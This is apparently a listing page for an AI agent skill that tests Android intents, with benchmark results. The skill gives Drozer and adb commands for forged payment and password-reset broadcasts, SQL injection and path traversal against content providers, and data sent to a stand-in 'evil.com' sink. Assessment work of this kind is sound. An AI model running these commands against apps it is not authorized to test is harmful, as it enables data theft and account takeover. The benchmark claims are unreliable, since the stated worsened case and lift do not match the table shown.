Install any skill in seconds. Free to start, no credit card required.
Get Started Free →Tests Android inter-process communication (IPC) through intents for vulnerabilities including intent injection, unauthorized component access, broadcast sniffing, pending intent hijacking, and content provider data leakage. Use when assessing Android app attack surface through exported components, testing intent-based data flows, or evaluating IPC security. Activates for requests involving Android intent security, IPC testing, exported component analysis, or Drozer assessment.
.claude/skills/testing-android-intents-for-vulnerabilities/SKILL.md| Test case | Without → With | Effect | Δ tokens | Δ turns |
|---|---|---|---|---|
| case-08 | ✗→✓ | ▲ Improved | — | — |
| case-18 | ✗→✓ | ▲ Improved | — | — |
| case-11 | ✗→✓ | ▲ Improved | — | — |
| case-02 | ✗→✓ | ▲ Improved | — | — |
| case-01 | ✗→✓ | ▲ Improved | — | — |
Use this skill when:
Do not use on production devices without explicit authorization.
drozer agent.apk)pip install drozer)bash# Using Drozer drozer console connect run app.package.info -a com.target.app run app.package.attacksurface com.target.app # Output shows: # X activities exported # X broadcast receivers exported # X content providers exported # X services exported # List exported activities run app.activity.info -a com.target.app # List exported services run app.service.info -a com.target.app # List exported receivers run app.broadcast.info -a com.target.app # List content providers run app.provider.info -a com.target.app
bash# Launch exported activities directly run app.activity.start --component com.target.app com.target.app.AdminActivity # Launch with intent extras run app.activity.start --component com.target.app com.target.app.ProfileActivity \ --extra string user_id 1337 # Test intent injection via data URI adb shell am start -a android.intent.action.VIEW \ -d "content://com.target.app/users/admin" com.target.app # If admin activity opens without auth, report as authorization bypass
bash# Send broadcast to exported receivers run app.broadcast.send --action com.target.app.PROCESS_PAYMENT \ --extra string amount "0.01" --extra string recipient "attacker" # Sniff broadcasts for sensitive data run app.broadcast.sniff --action com.target.app.USER_LOGIN # Via ADB adb shell am broadcast -a com.target.app.RESET_PASSWORD \ --es email "attacker@evil.com"
bash# Query content providers for data leakage run app.provider.query content://com.target.app.provider/users run app.provider.query content://com.target.app.provider/users --projection "password" # Test SQL injection in content providers run app.provider.query content://com.target.app.provider/users \ --selection "1=1) UNION SELECT username,password FROM users--" # Test path traversal run app.provider.read content://com.target.app.provider/../../etc/passwd run app.provider.download content://com.target.app.provider/../databases/app.db /tmp/stolen.db # Find injectable providers run scanner.provider.injection -a com.target.app run scanner.provider.traversal -a com.target.app
javascript// Monitor PendingIntent creation via Frida Java.perform(function() { var PendingIntent = Java.use("android.app.PendingIntent"); PendingIntent.getActivity.overload("android.content.Context", "int", "android.content.Intent", "int").implementation = function(context, requestCode, intent, flags) { console.log("[PendingIntent] getActivity:"); console.log(" Intent: " + intent.toString()); console.log(" Flags: " + flags); // Check for FLAG_IMMUTABLE (secure) vs FLAG_MUTABLE (vulnerable) var FLAG_MUTABLE = 0x02000000; if ((flags & FLAG_MUTABLE) !== 0) { console.log(" [VULN] FLAG_MUTABLE - PendingIntent can be modified by receiver"); } return this.getActivity(context, requestCode, intent, flags); }; });
bash# Attempt to bind to exported services run app.service.start --action com.target.app.SYNC_SERVICE \ --extra string server "https://evil.com/data_sink" run app.service.send com.target.app com.target.app.MessengerService \ --msg 1 0 0 --extra string command "dump_database" --bundle-as-obj
| Term | Definition | |------|-----------| | Exported Component | Android component (activity/service/receiver/provider) accessible to other apps on the device | | Intent | Messaging object for requesting actions from other components; can be explicit (target specified) or implicit (action-based) | | Pending Intent | Token wrapping an intent for future execution by another app; mutable PendingIntents can be modified by recipients | | Content Provider | Component for structured data sharing between apps; SQL injection target if query parameters are not sanitized | | Broadcast Receiver | Component receiving system or app broadcasts; exported receivers can be triggered by any app |
| Case | Status | Duration (ms) | Turns | Tokens | Tool calls | ||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Without | With | Δ | Without | With | Δ | Without | With | Δ | Without | With | Δ | ||
case-08 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-18 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-11 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-02 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-05 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-16 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-06 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-10 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-07 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-01 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-22 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-17 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-13 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-09 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-12 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-20 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-21 | pass→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-03 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-14 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-15 | fail→pass | — | — | — | — | — | — | — | — | — | — | — | — |
case-04 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
case-19 | fail→fail | — | — | — | — | — | — | — | — | — | — | — | — |
DecimalAI ran this skill against gemini-3.6-flash twice over the same eval suite — once with the skill loaded and once without — and compared the two runs case by case. 22 cases were attempted. The headline lift of +45 percentage points is the difference between those two pass rates over the 22 comparable cases. 1 case got worse with the skill loaded, and it is included in that figure.
The per-case answers from this run were removed by the retention sweep, so the case table below shows the verdicts without the text either arm produced. The counts above were recorded at the time and are unaffected. Answers are now kept for 180 days.
Other measured skills in the registry, with their headline benchmark lift.